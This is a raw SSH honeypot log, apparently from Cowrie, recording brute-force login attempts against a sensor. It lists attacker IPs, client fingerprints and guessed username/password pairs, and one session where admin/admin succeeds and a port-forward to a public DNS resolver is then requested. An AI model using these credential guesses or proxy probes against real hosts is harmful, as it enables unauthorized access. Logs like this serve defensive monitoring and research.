{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:22.767590Z","src_ip":"194.59.206.2","session":"272e7ec39929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":46212,"dst_ip":"159.203.135.109","dst_port":22,"session":"e47effad4e4a","protocol":"ssh","message":"New connection: 103.91.246.101:46212 (159.203.135.109:22) [session: e47effad4e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:27.032363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:27.037015Z","src_ip":"103.91.246.101","session":"e47effad4e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:27.266829Z","src_ip":"103.91.246.101","session":"e47effad4e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"Huawei12#$","message":"login attempt [user01/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:28.213924Z","src_ip":"103.91.246.101","session":"e47effad4e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:29.447571Z","src_ip":"103.91.246.101","session":"e47effad4e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":55604,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0b9b9a26ddf","protocol":"ssh","message":"New connection: 14.225.205.58:55604 (159.203.135.109:22) [session: d0b9b9a26ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:37.102679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:37.110239Z","src_ip":"14.225.205.58","session":"d0b9b9a26ddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:37.363596Z","src_ip":"14.225.205.58","session":"d0b9b9a26ddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cmsadmin","message":"login attempt [root/cmsadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:38.408187Z","src_ip":"14.225.205.58","session":"d0b9b9a26ddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:13:39.664864Z","src_ip":"14.225.205.58","session":"d0b9b9a26ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":57080,"dst_ip":"159.203.135.109","dst_port":22,"session":"70e957ca883f","protocol":"ssh","message":"New connection: 101.47.159.125:57080 (159.203.135.109:22) [session: 70e957ca883f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:26.564495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:26.569215Z","src_ip":"101.47.159.125","session":"70e957ca883f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:26.807829Z","src_ip":"101.47.159.125","session":"70e957ca883f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dayzserver","password":"dayzserver","message":"login attempt [dayzserver/dayzserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:27.792873Z","src_ip":"101.47.159.125","session":"70e957ca883f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:29.034556Z","src_ip":"101.47.159.125","session":"70e957ca883f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":52928,"dst_ip":"159.203.135.109","dst_port":22,"session":"aea1ef55fa2e","protocol":"ssh","message":"New connection: 103.91.246.101:52928 (159.203.135.109:22) [session: aea1ef55fa2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:30.924515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:30.929384Z","src_ip":"103.91.246.101","session":"aea1ef55fa2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:31.180216Z","src_ip":"103.91.246.101","session":"aea1ef55fa2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user03","password":"user031","message":"login attempt [user03/user031] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:32.192751Z","src_ip":"103.91.246.101","session":"aea1ef55fa2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:33.440920Z","src_ip":"103.91.246.101","session":"aea1ef55fa2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":43350,"dst_ip":"159.203.135.109","dst_port":22,"session":"7262ac1f8778","protocol":"ssh","message":"New connection: 14.225.205.58:43350 (159.203.135.109:22) [session: 7262ac1f8778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:37.525222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:37.530102Z","src_ip":"14.225.205.58","session":"7262ac1f8778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:37.792372Z","src_ip":"14.225.205.58","session":"7262ac1f8778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwer1234!@#$","message":"login attempt [ftpuser/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:38.872245Z","src_ip":"14.225.205.58","session":"7262ac1f8778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:14:40.137783Z","src_ip":"14.225.205.58","session":"7262ac1f8778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14514,"dst_ip":"10.17.0.5","dst_port":22,"session":"567769517e02","protocol":"ssh","message":"New connection: 87.251.64.176:14514 (10.17.0.5:22) [session: 567769517e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:18.239205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:18.244978Z","src_ip":"87.251.64.176","session":"567769517e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:18.342685Z","src_ip":"87.251.64.176","session":"567769517e02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:18.636125Z","src_ip":"87.251.64.176","session":"567769517e02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:18.738677Z","session":"567769517e02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:18.839213Z","src_ip":"87.251.64.176","session":"567769517e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:18.938734Z","src_ip":"87.251.64.176","session":"567769517e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":37150,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d6bc028fad6","protocol":"ssh","message":"New connection: 103.91.246.101:37150 (159.203.135.109:22) [session: 6d6bc028fad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:31.860997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:31.865944Z","src_ip":"103.91.246.101","session":"6d6bc028fad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:32.083591Z","src_ip":"103.91.246.101","session":"6d6bc028fad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test1234","message":"login attempt [testuser/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:32.980487Z","src_ip":"103.91.246.101","session":"6d6bc028fad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:34.200798Z","src_ip":"103.91.246.101","session":"6d6bc028fad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":53096,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe03b022caeb","protocol":"ssh","message":"New connection: 14.225.205.58:53096 (159.203.135.109:22) [session: fe03b022caeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:36.669278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:36.678292Z","src_ip":"14.225.205.58","session":"fe03b022caeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:36.924342Z","src_ip":"14.225.205.58","session":"fe03b022caeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitworker","password":"gitworker","message":"login attempt [gitworker/gitworker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:15:37.937901Z","src_ip":"14.225.205.58","session":"fe03b022caeb","protocol":"ssh"}
